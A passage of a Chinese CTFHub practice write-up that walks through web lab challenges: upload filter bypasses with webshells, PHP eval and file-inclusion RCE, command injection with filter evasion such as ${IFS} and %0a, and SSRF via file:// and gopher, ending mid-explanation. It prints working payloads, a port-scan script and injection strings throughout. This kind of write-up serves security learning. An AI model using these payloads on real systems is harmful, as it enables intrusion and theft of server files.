多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。

常见的MME类型,例如:

超文本标记语言文本 .html,html text/htm

普通文本 .txt text/plain

RTF文本. rtf application/rtf

GIF图形 .gif image/gif

JPEG图形 . jpg image/jpeg

MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

先看源码,没有发现限制

上传的时候我直接上传1.php是失败的,但是我尝试上传2.png没有报错

说明image/gif是在白名单的

使用burp,上传1.php并且看看格式是application/octet-stream : 二进制流数据(如常见的文件下载),修改成image/gif,上传成功

老样子+蚁剑

值得一提的是

第一次上传2.jpg虽然成功,但是我在访问文件地址看到报错。上传1.php成功,而且访问页面成功,所以我在这里猜测MIME只管在上传文件到服务端的时候,尽管Content-Type修改成image/gif,但是服务器在识别文件的时候还是看后缀来编译(个人猜测,请大佬指正)

5.00截断

0x00 , %00 , /00 之类的截断,都是一样的,只是不同表示而已。

在url中 %00 表示ascll码中的 0 ,而ascii中0作为特殊字符保留,是字符串的结束标识符,所以当url中出现%00时就会认为读取已结束。

攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

00截断的限制条件:

1
2
PHP<5.3.29,且GPC关闭
# 5.3.4及以上已经修复该问题

数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/1.php%00

那么我们为什么要这样构造呢?
服务器上传的时候读取文件是从右向左读取,相反Apache服务是从左向右读取文件的

先试1.php老样子不行,再试1.png成功开始截断

这里我试了很多次,发现不管上传1.php还是1.png只要你在filename后面写的时候用png就行了,在第一行POST路径上写*.php%00.png,可以换成其他名字(其实就是重命名),我直接放结果

值得注意的是蚁剑添加数据的url不能直接用,因为他显示的是具体路径(var/www/…),但其实只能通过/upload访问,比如说/upload/3.php

这个才是蚁剑需要填入的url

最后是关于几个问答

1.我们为什么不可以直接改文件名为:1.php%00png呢?

先分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension']; //首先取到上传文件的扩展名$ext
$whitelist = array("jpg", "png", "gif"); //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}

根据代码可知:

1
2
 $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; 
# 该路径基于GET参数"road"、一个随机数、当前日期时间和一个扩展名。

当我们上传文件之后,会移动我们上传文件的路径到$des中,而$des是前面的路经和随机数以及字符串拼接所称的路径,但我们蚁剑连接需要确切的路径,因此修改文件名00截断不可行!
由于我们上传的文件就是png格式的,那么直接在/?road=/var/www/html/upload/后(burp第一行)构造1.php%00,这里的%00就是为了和我们上传文件的类型png进行截断!

2.为什么会有随机字符串的png文件

那是我上传的png文件,但是在服务器端被修改名字了

因此在POST参数road进行截断,也就是第一行,可以避免上述情况

因此尽管我上传的是php文件,用%00修改了filename=“1.png%002.png”,上传能够成功,但是因为没有修改第一行只会生成随机的****.png

参考资料:

大佬对原理分析得很清楚关于上传中的00截断分析

CTFHub题解-技能树-Web-文件上传(.htaccess、MIME绕过、文件头检查)【二】 - 0yst3r - 博客园 (cnblogs.com)

6.双写后缀

老样子先上传1.php,肯定不。。。。欸,上传成功了???

开心太早了,一看上传的文件没有了后缀php

打开f12看一下源码,发现有一行注释,大概意思就是检测文件后缀有没有出现在黑名单里面,如果有的话替换成’'即空字符串

1
2
3
4
5
6
7
8
9
# $_FILES超全局数组中获取上传文件的名字。
# $_FILES['file']['name']存储了上传文件的原始名称。
# basename()函数用于返回路径中的文件名部分,确保我们只获取文件名而不是完整的路径。
# $blacklist 是黑名单数组
# 使用str_ireplace()函数,这行代码将文件名中与黑名单中的任何扩展名匹配的部分替换为空字符串(即删除它们)。str_ireplace()是不区分大小写的,这意味着它会同时匹配大写和小写字母。

$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);

str_ireplace()只会替换第一次出现的匹配项

这意味着我们只需要把后缀名改成 pphphp就行了

1
2
3
http://xxx.ctfhub.com:10800/upload/shell.    #上传文件名:shell.php

http://xxx.ctfhub.com:10800/upload/shell.php #上传文件名:shell.pphphp

看上传的文件果然如此

7.文件头检查

先试试1.php,提心只能上传jpeg jpg png gif类型文件

这里我还是先尝试修改MIME绕过

这里先用burp抓下包,修改成Content-Type:image/png,果不其然还是提示文件类型不正确,那么就是头部问题了

利用文件头标志判断文件类型

文件的扩展名是用来识别文件类型的。通过给他指定扩展名,我们可以告诉自己,也告诉操作系统我们想用什么方式打开这个文件。比如我么会把.jpg的文件默认用图片显示软件打开,.zip 文件会默认用解压软件打开等等。

然而,扩展名完全是可以随便改改的。我们可以给文件设置一个任意的扩展名,当然也可以不设置扩展名。这样一来我们就不能了解到这个文件究竟是做什么的,究竟是个什么样的文件。我们或许也会疑惑,为什么一个软件,比如视频播放器,就能用正确的方式打开.mp4 .rmvb .wmv 等等的视频?

事实上,所有的文件都是以二进制的形式进行存储的,本质上没有差别。之所以使用的方法不同,只是因为我们理解他的方式不同。在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)实际上都有一片区域来显示这个文件的实际用法,这就是文件头标志。

简单来说就是不同类型的文件的二进制下,开头的二进制是用来表示文件的类型的

比如说png的头部是89 50 4E 47 0D 0A

所以这题可以为了方便可以找一张png图片(尽量小,好像大了的话有限制还是上传不了?)我是截了一张很小的图,然后用记事本打开最后添加一句话小马就行

当然也要MIME绕过,看下抓的包

上传成功

然后用蚁剑就行了

看下文件的样子(原来会变成这样😮)

6.RCE

0.介绍

初学RCE(远程命令/代码执行漏洞)-CSDN博客

RCE(Remote Code Execution)即远程代码执行漏洞,一句话来说就是:

可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE分为远程命令执行ping和远程代码执行evel。

1.原理

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。具体后端代码如下:

1
2
3
4
5
$result.=shell_exec('ping '.$ip);#直接将变量拼接进来,没做处理
# 比如说有一个空填ip
# 本来我只填 baidu.com
# 但是我知道漏洞填入 baidu.com&net start
# 相当于直接操控服务器电脑的cmd命令行!高危漏洞!
2.常见RCE漏洞函数

1.系统命令执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
system():# 能将字符串作为OS命令执行,且返回命令执行结果;

exec():# 能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():# 能将字符串作为OS命令执行

passthru():# 能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():# 打开进程文件指针

proc_open():# 与popen()类似

pcntl_exec():# 在当前进程空间执行指定程序;

``:# 反引号``内的字符串会被解析为OS命令;

2.代码执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
eval():# 将字符串作为php代码执行;

assert():# 将字符串作为php代码执行;

preg_replace():# 正则匹配替换字符串;

create_function():# 主要创建匿名函数;

call_user_func():# 回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():# 回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;
3.管道符

Windows系统支持的管道符如下:

管道符 实例 描述
| A|B 直接执行后面的语句
|| A||B 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
& A&B 两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
&& A&&B 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A
4. 挖到这个漏洞能做什么
  • 远程命令、代码执行(单凭这一点能做的事情就不少,如下)
  • 获取敏感数据、文件、服务器信息
  • 写入恶意文件Getshell

参考文献

【原创】基础篇 – RCE漏洞总结-腾讯云开发者社区-腾讯云 (tencent.com)

RCE漏洞详解及绕过总结(全面)-CSDN博客

1.eval执行

打开靶场发现只有代码,先分析一下

1
2
3
4
5
6
7
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
  1. __isset判断一个变量是否已设置, 即变量已被声明,且其值为ture

    如果 $_REQUEST['cmd'] 存在(即用户通过某种方式,如GET或POST请求,发送了一个名为 ‘cmd’ 的参数),则执行 eval($_REQUEST["cmd"]);eval() 函数在 PHP 中用于执行一个或多个字符串作为 PHP 代码。

  2. 如果 $_REQUEST['cmd'] 不存在,则执行 highlight_file(__FILE__);highlight_file() 函数会输出一个 PHP 文件并高亮其中的 PHP 代码。__FILE__ 是一个魔术常量,它返回当前文件的完整路径和文件名。如果这段代码被保存为 example.php,那么 __FILE__ 的值就是 'example.php'。因此,这段代码会显示当前文件的源代码,并高亮其中的 PHP 代码。

总之:如果用户发送了一个 ‘cmd’ 参数,服务器会执行该参数中的 PHP 代码;否则,服务器会显示当前文件的源代码。

所以我们有两种方式

1.修改URL

所以我们在访问的时候使用变量 cmd,在网址url后面添加?cmd=system('ls');查看当前目录

然后利用../查看上一级目录,以此类推,可以看到flag

找到flag用cat获取文件内容

2.蚁剑

这里其实相当于已经把木马传给了服务器,我们直接用蚁剑连就行了,注意密码是cmd

同样也能找到flag

2.文件包含

还是老样子分析给出的代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
  1. <?php: 这是 PHP 的开头标签,表示接下来的代码是 PHP 代码。
  2. error_reporting(0);: 这行代码关闭了所有的 PHP 错误报告。error_reporting 是一个函数,用于设置错误报告的级别。在这里,0 表示关闭所有错误报告。
  3. if (isset($_GET['file'])) {: 使用 isset() 函数检查是否有一个名为 file 的 GET 参数被传递。
  4. if (!strpos($_GET["file"], "flag")) {: 使用 strpos() 函数检查 file 参数中是否包含子字符串 “flag”。如果 file 参数中不包含 “flag”,则执行下一行代码。
  5. include $_GET["file"];: 使用 include 语句包含并执行从 file 参数中获取的文件。这意味着如果用户通过 URL 传递一个 PHP 文件的路径(例如 example.php?file=somefile.php),那么 somefile.php 会被包含并执行。
  6. } else {: 如果 file 参数中包含 “flag”,则执行此处的代码。
  7. echo "Hacker!!!";: 输出 “Hacker!!!” 给用户。这可能是一个警告消息,表明用户试图访问一个不允许的文件或进行某种不安全的操作。
  8. }: 结束 else 语句块。
  9. }: 结束外部的 if 语句块。
  10. else {: 如果用户没有传递 file 参数,则执行此处的代码。
  11. highlight_file(__FILE__);: 使用 highlight_file() 函数来输出当前文件的源代码,并高亮其中的 PHP 代码。__FILE__ 是一个魔术常量,表示当前文件的完整路径和文件名。
  12. }: 结束外部的 if-else 语句块。
  13. ?>: PHP 的结尾标签,表示 PHP 代码的结束。

简单来说,就是url路径如果有file的参数,看参数里面有没有字符串flag,如果有则返回Hacker,没有的话则执行file指定文件

其实它就是利用了服务器中本来就存在的一个文件,在get中引用就可以成为一个注入点,然后去输入命令就可以啦!

shell.txt文件其实就是小马

这里也是三个方法

1.HackBar

先在url里面的file的参数指向shell文件

在添加POST数据,即payload

1
ctfhub=system("ls"); #ctfhub是密码

然后老样子先找flag,再用cat获取文件内容就行了

2.蚁剑

记得url是shell文件位置,密码是ctfhub,添加链接就行了

HackBar传数据的时候抓的包

3.php://input

我刚看到这题一点头绪都没有

主要看不懂题目php://input是什么意思,看了很多writeup才知道PHP伪协议

协议 作用
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

PHP伪协议总结 - 个人文章 - SegmentFault 思否

PHP: php:// - Manual

php伪协议总结 - My_Dreams - 博客园 (cnblogs.com)

PHP伪协议详解-CSDN博客

我这里就对这题进行总结:

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

设置需要下面两个开启

allow_url_fopen 它决定了 PHP 是否允许打开远程文件。当 allow_url_fopen 设置为 on 时,PHP 允许使用 URL 打开文件,这意味着你可以使用 fopen()file_get_contents() 和其他相关函数从远程服务器上读取文件。

allow_url_fopen :off/on

allow_url_include其决定了是否允许使用 URL 路径来包含文件。如果 allow_url_include 设置为 on,则可以使用 URL 来包含远程文件。这意味着,在 PHP 脚本中,你可以使用类似 include 'http://example.com/file.php' 的语句来包含远程文件。

allow_url_include:on

他提供了phpinfo文件供我们查看

然后我们只需要去用burp抓包的同时上传执行的php指令

1
<?php system("ls"); ?>

后面指令以此类推

4.读取源代码

和上题一样设计PHP伪协议

但是这次却不能用php://input 了,可能是phpinfo()中allow_url_fopen没有开启,导致不能使用php://input

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数 描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(`
<; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

因为题目直接告诉我们flag的位置是/flag

直接输入位置就行了

1
?file=php://filter/resource=/flag

网上很多都是先base64先编码(用我第一种就行了)

在解码(用HackBar里面的Encoding功能)

5.远程包含

在PHP的配置文件php.ini里将allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

有两种方法

1.php://input

我看了一下配置文件两个参数都开启着,可以用php://input(又是看不懂题目的一天),和php://input步骤一样

2.访问文件

即通过后面添加包含一句话小马的文件的地址,这里需要使用vps或者与服务器,通过url访问你的文件位置,本人懒得试了,看了这篇题解就算了。。。

ctf远程文件包含

6.命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

先了解一下命令注入

后台直接执行系统命,一般要结合linux,windows的管道对要执行的命令进行拼接。 过滤的话大致分为两种情况:白名单,黑名单
黑名单是过滤到一些常用的参数,如果过滤的不全面可以考虑用其他相同功能的函数代替;如果黑名单比较全面,那就要考虑用编码的方式尝试绕过。
白名单是限制参数的使用范围,写死了的话应该常规的办法就没有用了。盲猜很多web都是基于白名单的。
可以通过echo,>>等方法生成php文件并写入一句话木马

先分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 这里,$_GET['ip'] 是从 URL 的 GET 参数中获取的 IP 地址。
# 如果这个参数存在并且不为空,那么就会执行 exec($cmd, $res) 函数,其中 $cmd 是构造的 ping 命令,$res 是一个数组用于存储命令的输出。
# exec() 函数会执行该命令,并返回最后一个行的输出,或者在出现错误时返回 false
# exec() 函数通常用于执行系统命令、运行脚本或执行其他需要外部程序的操作。它可以与操作系统交互,允许在 PHP 脚本中执行系统级别的操作。它允许执行任意命令。如果未对用户输入进行适当的验证和过滤,可能会导致安全漏洞
<?php
$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
# $res 变量是否存在。如果存在,它就会打印出 $res 的内容,也就是 ping 命令的输出。

<?php
if ($res) {
print_r($res);
}
?>

#这行代码会显示当前 PHP 文件的源代码。这通常用于调试目的,但在生产环境中可能存在安全风险。

<?php
show_source(__FILE__);
?>

总而言之就是会执行空格的所有指令

这题没有什么限制,直接用命令就行了

值得注意的是cat文件的时候因为用了注释符不会显示在页面里面,但是可以读源码(网上很多方法是把内容先base64编码这样就可以看到了,在解码就是flag,但是没必要,这里提一嘴)

7.过滤cat

看源码就知道屏蔽了cat

主要有两个思路,要么找一个代替cat有相同功能的指令,要么插入特殊符号绕过cat

1.替换cat

linux查看文本的命令

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
这里我使用的是tac来查看文件

2.连接符绕过

连接符''\$@来绕过过滤

8.过滤空格

空格可以用以下字符串代替:

1
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

9.过滤目录分隔符

我不知道对我有什么影响,我本来就没有用’/’

这里先用ls命令看到了flag在flag_is_here文件夹里面

我们用cd进入这个文件夹(;可以执行所有指令)

没有压力好吧🤗

10.过滤运算符

他只是把’&‘过滤了,但是我们还能用’;',过程都一样我就少截几张图

11.综合过滤练习

这次基本能用的都过滤了😥

没办法,又去看writeup了

CTFHub 技能树 综合过滤-CSDN博客

原来还有url编码一说(可恶忘记了)

url编码中,%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。

${IFS}取代空格,用$*(其他连接符也行)绕过关键词过滤,因为在没有定义的情况下,$*在shell命令执行下为空

注意不是在ip的空格里面写,因为在url里面会二次编码

比如说1%0als在url会变成1%250als

这里ls是对flag_is_here目录进行操作,所有ls 是在cd flag_is_here执行后在flag_is_here目录下执行,这里拼接的就得用%0a换行符,可以等效&&,不能用%0d,%0d等效于&。

1
?ip=1%0D%0Acd${IFS}fl$*ag_is_here%0Als

然后再tac(或者其他命令)获取flag

1
?ip=1%0D%0Acd${IFS}fl$*ag_is_here%0Atac${IFS}fl$*ag_39312362329318.php

还有一种方法我个人认为挺复杂的是利用16进制编码

ctfhub技能树—RCE—综合过滤练习 - anweilx - 博客园 (cnblogs.com)

CTFHub之web基础刷题记录(续集)_hidden ctfhub-CSDN博客

7.SSRF

SSRF(Server-Side Request Forgery:服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)

攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。

例如

  • /secret.php 是外网无法访问的
  • http://xxx.xxx/?url=http://127.0.0.1/example.php,该链接会使用curl构造请求,访问/var/www/html/secret.php文件,如果配置不当,就可以利用GET参数url,构造请求访问内网资源
  • 假如内网的3000端口有管理系统,则可以通过?url=http://127.0.0.1:3000进行访问

1.SSRF产生的原因

很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器

SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

2.利用SSRF可以实现的攻击

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
  • 攻击运行在内网或本地的应用程序
  • 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  • 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
  • 下载内网资源(如:利用file协议读取本地文件等)
  • 进行跳板
  • 无视cdn
  • 利用Redis未授权访问,HTTP CRLF注入实现getshell

需要了解的伪协议

file:// 协议
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

http/s协议
作用:
探测内网主机存活、端口开放情况,可以通过访问其它网站确定存活

dict协议
作用:
字典服务器协议,访问字典资源,查看端口,操作内网redis访问等

Gopher协议
作用:
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

SSRF 漏洞学习

1.内网访问

尝试访问位于127.0.0.1的flag.php吧

这题应该是为了让我们最直观的看SSRF吧,首先进去发现空白,f12看源码也是如此

然后看了眼url,应该是修改参数,这里直接添加

1
2
?url=127.0.0.1/flag.php
# 127.0.0.1就是localhost,访问本地

就能获取flag.php,我的理解就是由合法访问的A发起对内部的访问获取资源(外网访问不了内网)

2.伪协议读取文件

尝试去读取一下Web目录下的flag.php吧

0.知识前提

1.伪协议:事实上是其支持的协议与封装协议。而其支持的部分协议有:

1
2
3
4
5
6
7
file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

2.一般在linux服务器的web目录是/var/www/html

1.网站的目录一般都在/var/www/html/,我们由此构造payload:需要打开f12看源码,这里html没有显示是因为注释了

1
?url=file:///var/www/html/flag.php

这里提一嘴,可以看的文件不仅如此,更可以查看etc/passwd文件,所以知道漏洞的危险了吧😏

/etc/passwd是一个按行记录的文本文件,每行记录一个用户的信息。每行信息内容以6个“:”分隔为7个部分,从左到右依次为用户的名称、登录口令情况、用户ID、所属组ID、用户的全称等其它详细信息、用户的home目录以及用户的默认登录shell。

3.端口扫描

来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

就是暴力一个一个找,这里有两个方法

1.burp

使用Intruder模块经行爆破,记得在爆破点进行add

然后就是去payload进行参数的设置

第一个是类型,选择数字

选择连续还是随机,选sequential

from 8000

to 9000

step:间隔为1

然后启动attack,看长度,一般最长或最短,点击length可以排序

去端口访问就行了

2.python脚本

代码我就先放这里,记得修改url

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://challenge-3fca5c04aaab9eb9.sandbox.ctfhub.com:10800/?url=127.0.0.1:'
for index in range(8000, 9001):
#f-string(格式化字符串字面值)
#url_1=f"http://challenge-3fca5c04aaab9eb9.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}"
#url_1="http://challenge-3fca5c04aaab9eb9.sandbox.ctfhub.com:10800/?url=127.0.0.1:{}".format(index)
url_1 = url + str(index)
res = requests.get(url_1)
print(index, res.text)

4.POST请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

前几题还是正常(我认为),这题我是真懵了,看writeup也是看了很久才了解一些

所以说代码审计真的很重要

首先需要知道Gopher协议和curl

Gopher协议在SSRF漏洞中的深入研究

PHP使用CURL详解

Gopher

ssrf万金油----gopher

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

限制:gopher协议在各个编程语言中的使用限制

协议 PHP Java Curl Perl asp.net
gopher –wite-curlwrappers且php版本至少5.3 小于JDK1.7 低版本不支持 支持 小于版本3

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议

协议格式

  • gopher://IP:PORT/_+TCP/IP数据

  • 例如

    • http请求:http://127.0.0.1/index.php?test=123

      • http请求包

        1
        2
        3
        4
        5
        6
        7
        8
        GET /index.php?test=123 HTTP/1.1
        Host: 127.0.0.1
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
    • gopher请求:gopher://127.0.0.1:80/_GET%20index.php?test=123%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%37%34%2e%30%2e%33%37%32%39%2e%31%36%39%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a%0d%0a

      • 这是HTTP请求包的url编码
      • gopher会访问指定IP(上面是127.0.0.1)的指定端口(上面是80,http默认端口),并传递_之后的数据
    • 也就是说,如果能使用gopher协议,那么只需要构造我们要用到的协议的请求数据(比如上面的HTTP),就可以实现访问

